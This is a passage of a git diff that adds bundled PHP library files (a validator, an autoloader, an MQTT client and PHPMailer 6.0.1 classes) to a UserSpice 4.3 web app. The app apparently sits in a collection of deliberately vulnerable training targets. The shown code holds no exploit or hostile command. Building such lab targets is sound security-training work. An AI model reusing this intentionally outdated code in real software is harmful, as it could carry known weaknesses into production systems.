} + + foreach ($value as $val) { + if (array_search(strtolower($val), $list_of_values) === FALSE) { + $this->addError(["{$display} {$verb}: ".implode(', ',$list_of_names),$item]); + break; + } + } + break; + + case 'is_datetime': + if ($rule_value !== false) { + $object = DateTime::createFromFormat((empty($rule_value) || is_bool($rule_value) ? "Y-m-d H:i:s" : $rule_value), $value); + + if (!$object || DateTime::getLastErrors()["warning_count"]>0 || DateTime::getLastErrors()["error_count"]>0) + $this->addError(["{$display} has to be a valid time",$item]); + } + break; + } + } + } + + } + + return $this; + } + + public function addError($error) { + if (array_search($error, $this->_errors) === FALSE) + $this->_errors[] = $error; + } + + public function display_errors() { + $html = "
      "; + + foreach($this->_errors as $error) { + if (is_array($error)) + $html .= "
    • {$error[0]}
    • + "; + else + $html .= "
    • {$error}
    • "; + } + + $html .= "
    "; + return $html; + } + + public function errors(){ + return $this->_errors; + } + + public function passed(){ + return empty($this->_errors); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/class.autoloader.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/class.autoloader.php new file mode 100644 index 000000000..be6390966 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/class.autoloader.php @@ -0,0 +1,104 @@ +. +*/ + +//if you are ever questioning if your classes are being included, uncomment the line below and the words "autoloader class included" should show at the top of your page. +//bold("

    autoloader class included"); +class Autoloader { + /** + * File extension as a string. Defaults to ".php". + */ + protected static $fileExt = '.php'; + + /** + * The top level directory where recursion will begin. Defaults to the current + * directory. + */ + protected static $pathTop = __DIR__; + + /** + * A placeholder to hold the file iterator so that directory traversal is only + * performed once. + */ + protected static $fileIterator = null; + + /** + * Autoload function for registration with spl_autoload_register + * + * Looks recursively through project directory and loads class files based on + * filename match. + * + * @param string $className + */ + public static function loader($className) { + + //$directory = new RecursiveDirectoryIterator(static::$pathTop, RecursiveDirectoryIterator::SKIP_DOTS); + + if (is_null(static::$fileIterator)) { + + //static::$fileIterator = new RecursiveIteratorIterator($directory, RecursiveIteratorIterator::LEAVES_ONLY); + static::$fileIterator = new RecursiveIteratorIterator( + new RecursiveDirectoryIterator(static::$pathTop, RecursiveDirectoryIterator::SKIP_DOTS), + RecursiveIteratorIterator::SELF_FIRST, + RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied" + ); + } + + $filename = $className . static::$fileExt; + + foreach (static::$fileIterator as $file) { + + if (strtolower($file->getFilename()) === strtolower($filename)) { + + if ($file->isReadable()) { + + include_once $file->getPathname(); + + } + break; + + } + + } + + } + + /** + * Sets the $fileExt property + * + * @param string $fileExt The file extension used for class files. Default is "php". + */ + public static function setFileExt($fileExt) { + static::$fileExt = $fileExt; + } + + /** + * Sets the $path property + * + * @param string $path The path representing the top level where recursion should + * begin. Defaults to the current directory. + */ + public static function setPath($path) { + static::$pathTop = $path; + } + +} + +Autoloader::setFileExt('.php'); +spl_autoload_register('Autoloader::loader', true, true); diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpMQTT.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpMQTT.php new file mode 100644 index 000000000..c5ad2fc92 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpMQTT.php @@ -0,0 +1,342 @@ +broker($address, $port, $clientid); + } + /* sets the broker details */ + function broker($address, $port, $clientid){ + $this->address = $address; + $this->port = $port; + $this->clientid = $clientid; + } + function connect_auto($clean = true, $will = NULL, $username = NULL, $password = NULL){ + while($this->connect($clean, $will, $username, $password)==false){ + sleep(10); + } + return true; + } + /* connects to the broker + inputs: $clean: should the client send a clean session flag */ + function connect($clean = true, $will = NULL, $username = NULL, $password = NULL){ + + if($will) $this->will = $will; + if($username) $this->username = $username; + if($password) $this->password = $password; + $address = gethostbyname($this->address); + $this->socket = fsockopen($address, $this->port, $errno, $errstr, 60); + if (!$this->socket ) { + if($this->debug) error_log("fsockopen() $errno, $errstr \n"); + return false; + } + stream_set_timeout($this->socket, 5); + stream_set_blocking($this->socket, 0); + $i = 0; + $buffer = ""; + $buffer .= chr(0x00); $i++; + $buffer .= chr(0x06); $i++; + $buffer .= chr(0x4d); $i++; + $buffer .= chr(0x51); $i++; + $buffer .= chr(0x49); $i++; + $buffer .= chr(0x73); $i++; + $buffer .= chr(0x64); $i++; + $buffer .= chr(0x70); $i++; + $buffer .= chr(0x03); $i++; + //No Will + $var = 0; + if($clean) $var+=2; + //Add will info to header + if($this->will != NULL){ + $var += 4; // Set will flag + $var += ($this->will['qos'] << 3); //Set will qos + if($this->will['retain']) $var += 32; //Set will retain + } + if($this->username != NULL) $var += 128; //Add username to header + if($this->password != NULL) $var += 64; //Add password to header + $buffer .= chr($var); $i++; + //Keep alive + $buffer .= chr($this->keepalive >> 8); $i++; + $buffer .= chr($this->keepalive & 0xff); $i++; + $buffer .= $this->strwritestring($this->clientid,$i); + //Adding will to payload + if($this->will != NULL){ + $buffer .= $this->strwritestring($this->will['topic'],$i); + $buffer .= $this->strwritestring($this->will['content'],$i); + } + if($this->username) $buffer .= $this->strwritestring($this->username,$i); + if($this->password) $buffer .= $this->strwritestring($this->password,$i); + $head = " "; + $head{0} = chr(0x10); + $head{1} = chr($i); + fwrite($this->socket, $head, 2); + fwrite($this->socket, $buffer); + $string = $this->read(4); + if(ord($string{0})>>4 == 2 && $string{3} == chr(0)){ + if($this->debug) echo "Connected to Broker\n"; + }else{ + error_log(sprintf("Connection failed! (Error: 0x%02x 0x%02x)\n", + ord($string{0}),ord($string{3}))); + return false; + } + $this->timesinceping = time(); + return true; + } + /* read: reads in so many bytes */ + function read($int = 8192, $nb = false){ + // print_r(socket_get_status($this->socket)); + + $string=""; + $togo = $int; + + if($nb){ + return fread($this->socket, $togo); + } + + while (!feof($this->socket) && $togo>0) { + $fread = fread($this->socket, $togo); + $string .= $fread; + $togo = $int - strlen($string); + } + + + + + return $string; + } + /* subscribe: subscribes to topics */ + function subscribe($topics, $qos = 0){ + $i = 0; + $buffer = ""; + $id = $this->msgid; + $buffer .= chr($id >> 8); $i++; + $buffer .= chr($id % 256); $i++; + foreach($topics as $key => $topic){ + $buffer .= $this->strwritestring($key,$i); + $buffer .= chr($topic["qos"]); $i++; + $this->topics[$key] = $topic; + } + $cmd = 0x82; + //$qos + $cmd += ($qos << 1); + $head = chr($cmd); + $head .= chr($i); + + fwrite($this->socket, $head, 2); + fwrite($this->socket, $buffer, $i); + $string = $this->read(2); + + $bytes = ord(substr($string,1,1)); + $string = $this->read($bytes); + } + /* ping: sends a keep alive ping */ + function ping(){ + $head = " "; + $head = chr(0xc0); + $head .= chr(0x00); + fwrite($this->socket, $head, 2); + if($this->debug) echo "ping sent\n"; + } + /* disconnect: sends a proper disconect cmd */ + function disconnect(){ + $head = " "; + $head{0} = chr(0xe0); + $head{1} = chr(0x00); + fwrite($this->socket, $head, 2); + } + /* close: sends a proper disconect, then closes the socket */ + function close(){ + $this->disconnect(); + fclose($this->socket); + } + /* publish: publishes $content on a $topic */ + function publish($topic, $content, $qos = 0, $retain = 0){ + $i = 0; + $buffer = ""; + $buffer .= $this->strwritestring($topic,$i); + //$buffer .= $this->strwritestring($content,$i); + if($qos){ + $id = $this->msgid++; + $buffer .= chr($id >> 8); $i++; + $buffer .= chr($id % 256); $i++; + } + $buffer .= $content; + $i+=strlen($content); + $head = " "; + $cmd = 0x30; + if($qos) $cmd += $qos << 1; + if($retain) $cmd += 1; + $head{0} = chr($cmd); + $head .= $this->setmsglength($i); + fwrite($this->socket, $head, strlen($head)); + fwrite($this->socket, $buffer, $i); + } + /* message: processes a recieved topic */ + function message($msg){ + $tlen = (ord($msg{0})<<8) + ord($msg{1}); + $topic = substr($msg,2,$tlen); + $msg = substr($msg,($tlen+2)); + $found = 0; + foreach($this->topics as $key=>$top){ + if( preg_match("/^".str_replace("#",".*", + str_replace("+","[^\/]*", + str_replace("/","\/", + str_replace("$",'\$', + $key))))."$/",$topic) ){ + if(is_callable($top['function'])){ + call_user_func($top['function'],$topic,$msg); + $found = 1; + } + } + } + if($this->debug && !$found) echo "msg recieved but no match in subscriptions\n"; + } + /* proc: the processing loop for an "allways on" client + set true when you are doing other stuff in the loop good for watching something else at the same time */ + function proc( $loop = true){ + if(1){ + $sockets = array($this->socket); + $w = $e = NULL; + $cmd = 0; + + //$byte = fgetc($this->socket); + if(feof($this->socket)){ + if($this->debug) echo "eof receive going to reconnect for good measure\n"; + fclose($this->socket); + $this->connect_auto(false); + if(count($this->topics)) + $this->subscribe($this->topics); + } + + $byte = $this->read(1, true); + + if(!strlen($byte)){ + if($loop){ + usleep(100000); + } + + }else{ + + $cmd = (int)(ord($byte)/16); + if($this->debug) echo "Recevid: $cmd\n"; + $multiplier = 1; + $value = 0; + do{ + $digit = ord($this->read(1)); + $value += ($digit & 127) * $multiplier; + $multiplier *= 128; + }while (($digit & 128) != 0); + if($this->debug) echo "Fetching: $value\n"; + + if($value) + $string = $this->read($value,"fetch"); + + if($cmd){ + switch($cmd){ + case 3: + $this->message($string); + break; + } + $this->timesinceping = time(); + } + } + if($this->timesinceping < (time() - $this->keepalive )){ + if($this->debug) echo "not found something so ping\n"; + $this->ping(); + } + + if($this->timesinceping<(time()-($this->keepalive*2))){ + if($this->debug) echo "not seen a package in a while, disconnecting\n"; + fclose($this->socket); + $this->connect_auto(false); + if(count($this->topics)) + $this->subscribe($this->topics); + } + } + return 1; + } + /* getmsglength: */ + function getmsglength(&$msg, &$i){ + $multiplier = 1; + $value = 0 ; + do{ + $digit = ord($msg{$i}); + $value += ($digit & 127) * $multiplier; + $multiplier *= 128; + $i++; + }while (($digit & 128) != 0); + return $value; + } + /* setmsglength: */ + function setmsglength($len){ + $string = ""; + do{ + $digit = $len % 128; + $len = $len >> 7; + // if there are more digits to encode, set the top bit of this digit + if ( $len > 0 ) + $digit = ($digit | 0x80); + $string .= chr($digit); + }while ( $len > 0 ); + return $string; + } + /* strwritestring: writes a string to a buffer */ + function strwritestring($str, &$i){ + $ret = " "; + $len = strlen($str); + $msb = $len >> 8; + $lsb = $len % 256; + $ret = chr($msb); + $ret .= chr($lsb); + $ret .= $str; + $i += ($len+2); + return $ret; + } + function printstr($string){ + $strlen = strlen($string); + for($j=0;$j<$strlen;$j++){ + $num = ord($string{$j}); + if($num > 31) + $chr = $string{$j}; else $chr = " "; + printf("%4d: %08b : 0x%02x : %s \n",$j,$num,$num,$chr); + } + } +} +?> diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/Exception.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/Exception.php new file mode 100644 index 000000000..9a05dec3c --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/Exception.php @@ -0,0 +1,39 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2017 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +namespace PHPMailer\PHPMailer; + +/** + * PHPMailer exception handler. + * + * @author Marcus Bointon + */ +class Exception extends \Exception +{ + /** + * Prettify error message output. + * + * @return string + */ + public function errorMessage() + { + return '' . htmlspecialchars($this->getMessage()) . "
    \n"; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/OAuth.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/OAuth.php new file mode 100644 index 000000000..b2309a1fc --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/OAuth.php @@ -0,0 +1,138 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2015 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +namespace PHPMailer\PHPMailer; + +use League\OAuth2\Client\Grant\RefreshToken; +use League\OAuth2\Client\Provider\AbstractProvider; +use League\OAuth2\Client\Token\AccessToken; + +/** + * OAuth - OAuth2 authentication wrapper class. + * Uses the oauth2-client package from the League of Extraordinary Packages. + * + * @see http://oauth2-client.thephpleague.com + * + * @author Marcus Bointon (Synchro/coolbru) + */ +class OAuth +{ + /** + * An instance of the League OAuth Client Provider. + * + * @var AbstractProvider + */ + protected $provider = null; + + /** + * The current OAuth access token. + * + * @var AccessToken + */ + protected $oauthToken = null; + + /** + * The user's email address, usually used as the login ID + * and also the from address when sending email. + * + * @var string + */ + protected $oauthUserEmail = ''; + + /** + * The client secret, generated in the app definition of the service you're connecting to. + * + * @var string + */ + protected $oauthClientSecret = ''; + + /** + * The client ID, generated in the app definition of the service you're connecting to. + * + * @var string + */ + protected $oauthClientId = ''; + + /** + * The refresh token, used to obtain new AccessTokens. + * + * @var string + */ + protected $oauthRefreshToken = ''; + + /** + * OAuth constructor. + * + * @param array $options Associative array containing + * `provider`, `userName`, `clientSecret`, `clientId` and `refreshToken` elements + */ + public function __construct($options) + { + $this->provider = $options['provider']; + $this->oauthUserEmail = $options['userName']; + $this->oauthClientSecret = $options['clientSecret']; + $this->oauthClientId = $options['clientId']; + $this->oauthRefreshToken = $options['refreshToken']; + } + + /** + * Get a new RefreshToken. + * + * @return RefreshToken + */ + protected function getGrant() + { + return new RefreshToken(); + } + + /** + * Get a new AccessToken. + * + * @return AccessToken + */ + protected function getToken() + { + return $this->provider->getAccessToken( + $this->getGrant(), + ['refresh_token' => $this->oauthRefreshToken] + ); + } + + /** + * Generate a base64-encoded OAuth token. + * + * @return string + */ + public function getOauth64() + { + // Get a new token if it's not available or has expired + if (null === $this->oauthToken or $this->oauthToken->hasExpired()) { + $this->oauthToken = $this->getToken(); + } + + return base64_encode( + 'user=' . + $this->oauthUserEmail . + "\001auth=Bearer " . + $this->oauthToken . + "\001\001" + ); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailer.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailer.php new file mode 100644 index 000000000..b710ab809 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailer.php @@ -0,0 +1,4387 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2017 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +namespace PHPMailer\PHPMailer; + +/** + * PHPMailer - PHP email creation and transport class. + * + * @author Marcus Bointon (Synchro/coolbru) + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + */ +class PHPMailer +{ + /** + * Email priority. + * Options: null (default), 1 = High, 3 = Normal, 5 = low. + * When null, the header is not set at all. + * + * @var int + */ + public $Priority = null; + + /** + * The character set of the message. + * + * @var string + */ + public $CharSet = 'iso-8859-1'; + + /** + * The MIME Content-type of the message. + * + * @var string + */ + public $ContentType = 'text/plain'; + + /** + * The message encoding. + * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". + * + * @var string + */ + public $Encoding = '8bit'; + + /** + * Holds the most recent mailer error message. + * + * @var string + */ + public $ErrorInfo = ''; + + /** + * The From email address for the message. + * + * @var string + */ + public $From = 'root@localhost'; + + /** + * The From name of the message. + * + * @var string + */ + public $FromName = 'Root User'; + + /** + * The envelope sender of the message. + * This will usually be turned into a Return-Path header by the receiver, + * and is the address that bounces will be sent to. + * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. + * + * @var string + */ + public $Sender = ''; + + /** + * The Subject of the message. + * + * @var string + */ + public $Subject = ''; + + /** + * An HTML or plain text message body. + * If HTML then call isHTML(true). + * + * @var string + */ + public $Body = ''; + + /** + * The plain-text message body. + * This body can be read by mail clients that do not have HTML email + * capability such as mutt & Eudora. + * Clients that can read HTML will view the normal Body. + * + * @var string + */ + public $AltBody = ''; + + /** + * An iCal message part body. + * Only supported in simple alt or alt_inline message types + * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. + * + * @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ + * @see http://kigkonsult.se/iCalcreator/ + * + * @var string + */ + public $Ical = ''; + + /** + * The complete compiled MIME message body. + * + * @var string + */ + protected $MIMEBody = ''; + + /** + * The complete compiled MIME message headers. + * + * @var string + */ + protected $MIMEHeader = ''; + + /** + * Extra headers that createHeader() doesn't fold in. + * + * @var string + */ + protected $mailHeader = ''; + + /** + * Word-wrap the message body to this number of chars. + * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. + * + * @see static::STD_LINE_LENGTH + * + * @var int + */ + public $WordWrap = 0; + + /** + * Which method to use to send mail. + * Options: "mail", "sendmail", or "smtp". + * + * @var string + */ + public $Mailer = 'mail'; + + /** + * The path to the sendmail program. + * + * @var string + */ + public $Sendmail = '/usr/sbin/sendmail'; + + /** + * Whether mail() uses a fully sendmail-compatible MTA. + * One which supports sendmail's "-oi -f" options. + * + * @var bool + */ + public $UseSendmailOptions = true; + + /** + * The email address that a reading confirmation should be sent to, also known as read receipt. + * + * @var string + */ + public $ConfirmReadingTo = ''; + + /** + * The hostname to use in the Message-ID header and as default HELO string. + * If empty, PHPMailer attempts to find one with, in order, + * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value + * 'localhost.localdomain'. + * + * @var string + */ + public $Hostname = ''; + + /** + * An ID to be used in the Message-ID header. + * If empty, a unique id will be generated. + * You can set your own, but it must be in the format "", + * as defined in RFC5322 section 3.6.4 or it will be ignored. + * + * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 + * + * @var string + */ + public $MessageID = ''; + + /** + * The message Date to be used in the Date header. + * If empty, the current date will be added. + * + * @var string + */ + public $MessageDate = ''; + + /** + * SMTP hosts. + * Either a single hostname or multiple semicolon-delimited hostnames. + * You can also specify a different port + * for each host by using this format: [hostname:port] + * (e.g. "smtp1.example.com:25;smtp2.example.com"). + * You can also specify encryption type, for example: + * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). + * Hosts will be tried in order. + * + * @var string + */ + public $Host = 'localhost'; + + /** + * The default SMTP server port. + * + * @var int + */ + public $Port = 25; + + /** + * The SMTP HELO of the message. + * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find + * one with the same method described above for $Hostname. + * + * @see PHPMailer::$Hostname + * + * @var string + */ + public $Helo = ''; + + /** + * What kind of encryption to use on the SMTP connection. + * Options: '', 'ssl' or 'tls'. + * + * @var string + */ + public $SMTPSecure = ''; + + /** + * Whether to enable TLS encryption automatically if a server supports it, + * even if `SMTPSecure` is not set to 'tls'. + * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. + * + * @var bool + */ + public $SMTPAutoTLS = true; + + /** + * Whether to use SMTP authentication. + * Uses the Username and Password properties. + * + * @see PHPMailer::$Username + * @see PHPMailer::$Password + * + * @var bool + */ + public $SMTPAuth = false; + + /** + * Options array passed to stream_context_create when connecting via SMTP. + * + * @var array + */ + public $SMTPOptions = []; + + /** + * SMTP username. + * + * @var string + */ + public $Username = ''; + + /** + * SMTP password. + * + * @var string + */ + public $Password = ''; + + /** + * SMTP auth type. + * Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2, attempted in that order if not specified. + * + * @var string + */ + public $AuthType = ''; + + /** + * An instance of the PHPMailer OAuth class. + * + * @var OAuth + */ + protected $oauth = null; + + /** + * The SMTP server timeout in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. + * + * @var int + */ + public $Timeout = 300; + + /** + * SMTP class debug output mode. + * Debug output level. + * Options: + * * `0` No output + * * `1` Commands + * * `2` Data and commands + * * `3` As 2 plus connection status + * * `4` Low-level data output. + * + * @see SMTP::$do_debug + * + * @var int + */ + public $SMTPDebug = 0; + + /** + * How to handle debug output. + * Options: + * * `echo` Output plain-text as-is, appropriate for CLI + * * `html` Output escaped, line breaks converted to `
    `, appropriate for browser output + * * `error_log` Output to error log as configured in php.ini + * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. + * Alternatively, you can provide a callable expecting two params: a message string and the debug level: + * + * ```php + * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; + * ``` + * + * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` + * level output is used: + * + * ```php + * $mail->Debugoutput = new myPsr3Logger; + * ``` + * + * @see SMTP::$Debugoutput + * + * @var string|callable|\Psr\Log\LoggerInterface + */ + public $Debugoutput = 'echo'; + + /** + * Whether to keep SMTP connection open after each message. + * If this is set to true then to close the connection + * requires an explicit call to smtpClose(). + * + * @var bool + */ + public $SMTPKeepAlive = false; + + /** + * Whether to split multiple to addresses into multiple messages + * or send them all in one message. + * Only supported in `mail` and `sendmail` transports, not in SMTP. + * + * @var bool + */ + public $SingleTo = false; + + /** + * Storage for addresses when SingleTo is enabled. + * + * @var array + */ + protected $SingleToArray = []; + + /** + * Whether to generate VERP addresses on send. + * Only applicable when sending via SMTP. + * + * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path + * @see http://www.postfix.org/VERP_README.html Postfix VERP info + * + * @var bool + */ + public $do_verp = false; + + /** + * Whether to allow sending messages with an empty body. + * + * @var bool + */ + public $AllowEmpty = false; + + /** + * DKIM selector. + * + * @var string + */ + public $DKIM_selector = ''; + + /** + * DKIM Identity. + * Usually the email address used as the source of the email. + * + * @var string + */ + public $DKIM_identity = ''; + + /** + * DKIM passphrase. + * Used if your key is encrypted. + * + * @var string + */ + public $DKIM_passphrase = ''; + + /** + * DKIM signing domain name. + * + * @example 'example.com' + * + * @var string + */ + public $DKIM_domain = ''; + + /** + * DKIM private key file path. + * + * @var string + */ + public $DKIM_private = ''; + + /** + * DKIM private key string. + * + * If set, takes precedence over `$DKIM_private`. + * + * @var string + */ + public $DKIM_private_string = ''; + + /** + * Callback Action function name. + * + * The function that handles the result of the send email action. + * It is called out by send() for each email sent. + * + * Value can be any php callable: http://www.php.net/is_callable + * + * Parameters: + * bool $result result of the send action + * array $to email addresses of the recipients + * array $cc cc email addresses + * array $bcc bcc email addresses + * string $subject the subject + * string $body the email body + * string $from email address of sender + * string $extra extra information of possible use + * "smtp_transaction_id' => last smtp transaction id + * + * @var string + */ + public $action_function = ''; + + /** + * What to put in the X-Mailer header. + * Options: An empty string for PHPMailer default, whitespace for none, or a string to use. + * + * @var string + */ + public $XMailer = ''; + + /** + * Which validator to use by default when validating email addresses. + * May be a callable to inject your own validator, but there are several built-in validators. + * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. + * + * @see PHPMailer::validateAddress() + * + * @var string|callable + */ + public static $validator = 'php'; + + /** + * An instance of the SMTP sender class. + * + * @var SMTP + */ + protected $smtp = null; + + /** + * The array of 'to' names and addresses. + * + * @var array + */ + protected $to = []; + + /** + * The array of 'cc' names and addresses. + * + * @var array + */ + protected $cc = []; + + /** + * The array of 'bcc' names and addresses. + * + * @var array + */ + protected $bcc = []; + + /** + * The array of reply-to names and addresses. + * + * @var array + */ + protected $ReplyTo = []; + + /** + * An array of all kinds of addresses. + * Includes all of $to, $cc, $bcc. + * + * @see PHPMailer::$to + * @see PHPMailer::$cc + * @see PHPMailer::$bcc + * + * @var array + */ + protected $all_recipients = []; + + /** + * An array of names and addresses queued for validation. + * In send(), valid and non duplicate entries are moved to $all_recipients + * and one of $to, $cc, or $bcc. + * This array is used only for addresses with IDN. + * + * @see PHPMailer::$to + * @see PHPMailer::$cc + * @see PHPMailer::$bcc + * @see PHPMailer::$all_recipients + * + * @var array + */ + protected $RecipientsQueue = []; + + /** + * An array of reply-to names and addresses queued for validation. + * In send(), valid and non duplicate entries are moved to $ReplyTo. + * This array is used only for addresses with IDN. + * + * @see PHPMailer::$ReplyTo + * + * @var array + */ + protected $ReplyToQueue = []; + + /** + * The array of attachments. + * + * @var array + */ + protected $attachment = []; + + /** + * The array of custom headers. + * + * @var array + */ + protected $CustomHeader = []; + + /** + * The most recent Message-ID (including angular brackets). + * + * @var string + */ + protected $lastMessageID = ''; + + /** + * The message's MIME type. + * + * @var string + */ + protected $message_type = ''; + + /** + * The array of MIME boundary strings. + * + * @var array + */ + protected $boundary = []; + + /** + * The array of available languages. + * + * @var array + */ + protected $language = []; + + /** + * The number of errors encountered. + * + * @var int + */ + protected $error_count = 0; + + /** + * The S/MIME certificate file path. + * + * @var string + */ + protected $sign_cert_file = ''; + + /** + * The S/MIME key file path. + * + * @var string + */ + protected $sign_key_file = ''; + + /** + * The optional S/MIME extra certificates ("CA Chain") file path. + * + * @var string + */ + protected $sign_extracerts_file = ''; + + /** + * The S/MIME password for the key. + * Used only if the key is encrypted. + * + * @var string + */ + protected $sign_key_pass = ''; + + /** + * Whether to throw exceptions for errors. + * + * @var bool + */ + protected $exceptions = false; + + /** + * Unique ID used for message ID and boundaries. + * + * @var string + */ + protected $uniqueid = ''; + + /** + * The PHPMailer Version number. + * + * @var string + */ + const VERSION = '6.0.1'; + + /** + * Error severity: message only, continue processing. + * + * @var int + */ + const STOP_MESSAGE = 0; + + /** + * Error severity: message, likely ok to continue processing. + * + * @var int + */ + const STOP_CONTINUE = 1; + + /** + * Error severity: message, plus full stop, critical error reached. + * + * @var int + */ + const STOP_CRITICAL = 2; + + /** + * SMTP RFC standard line ending. + * + * @var string + */ + protected static $LE = "\r\n"; + + /** + * The maximum line length allowed by RFC 2822 section 2.1.1. + * + * @var int + */ + const MAX_LINE_LENGTH = 998; + + /** + * The lower maximum line length allowed by RFC 2822 section 2.1.1. + * + * @var int + */ + const STD_LINE_LENGTH = 78; + + /** + * Constructor. + * + * @param bool $exceptions Should we throw external exceptions? + */ + public function __construct($exceptions = null) + { + if (null !== $exceptions) { + $this->exceptions = (bool) $exceptions; + } + //Pick an appropriate debug output format automatically + $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); + } + + /** + * Destructor. + */ + public function __destruct() + { + //Close any open SMTP connection nicely + $this->smtpClose(); + } + + /** + * Call mail() in a safe_mode-aware fashion. + * Also, unless sendmail_path points to sendmail (or something that + * claims to be sendmail), don't pass params (not a perfect fix, + * but it will do). + * + * @param string $to To + * @param string $subject Subject + * @param string $body Message Body + * @param string $header Additional Header(s) + * @param string|null $params Params + * + * @return bool + */ + private function mailPassthru($to, $subject, $body, $header, $params) + { + //Check overloading of mail function to avoid double-encoding + if (ini_get('mbstring.func_overload') & 1) { + $subject = $this->secureHeader($subject); + } else { + $subject = $this->encodeHeader($this->secureHeader($subject)); + } + //Calling mail() with null params breaks + if (!$this->UseSendmailOptions or null === $params) { + $result = @mail($to, $subject, $body, $header); + } else { + $result = @mail($to, $subject, $body, $header, $params); + } + + return $result; + } + + /** + * Output debugging info via user-defined method. + * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug). + * + * @see PHPMailer::$Debugoutput + * @see PHPMailer::$SMTPDebug + * + * @param string $str + */ + protected function edebug($str) + { + if ($this->SMTPDebug <= 0) { + return; + } + //Is this a PSR-3 logger? + if (is_a($this->Debugoutput, 'Psr\Log\LoggerInterface')) { + $this->Debugoutput->debug($str); + + return; + } + //Avoid clash with built-in function names + if (!in_array($this->Debugoutput, ['error_log', 'html', 'echo']) and is_callable($this->Debugoutput)) { + call_user_func($this->Debugoutput, $str, $this->SMTPDebug); + + return; + } + switch ($this->Debugoutput) { + case 'error_log': + //Don't output, just log + error_log($str); + break; + case 'html': + //Cleans up output a bit for a better looking, HTML-safe output + echo htmlentities( + preg_replace('/[\r\n]+/', '', $str), + ENT_QUOTES, + 'UTF-8' + ), "
    \n"; + break; + case 'echo': + default: + //Normalize line breaks + $str = preg_replace('/\r\n|\r/ms', "\n", $str); + echo gmdate('Y-m-d H:i:s'), + "\t", + //Trim trailing space + trim( + //Indent for readability, except for trailing break + str_replace( + "\n", + "\n \t ", + trim($str) + ) + ), + "\n"; + } + } + + /** + * Sets message type to HTML or plain. + * + * @param bool $isHtml True for HTML mode + */ + public function isHTML($isHtml = true) + { + if ($isHtml) { + $this->ContentType = 'text/html'; + } else { + $this->ContentType = 'text/plain'; + } + } + + /** + * Send messages using SMTP. + */ + public function isSMTP() + { + $this->Mailer = 'smtp'; + } + + /** + * Send messages using PHP's mail() function. + */ + public function isMail() + { + $this->Mailer = 'mail'; + } + + /** + * Send messages using $Sendmail. + */ + public function isSendmail() + { + $ini_sendmail_path = ini_get('sendmail_path'); + + if (!stristr($ini_sendmail_path, 'sendmail')) { + $this->Sendmail = '/usr/sbin/sendmail'; + } else { + $this->Sendmail = $ini_sendmail_path; + } + $this->Mailer = 'sendmail'; + } + + /** + * Send messages using 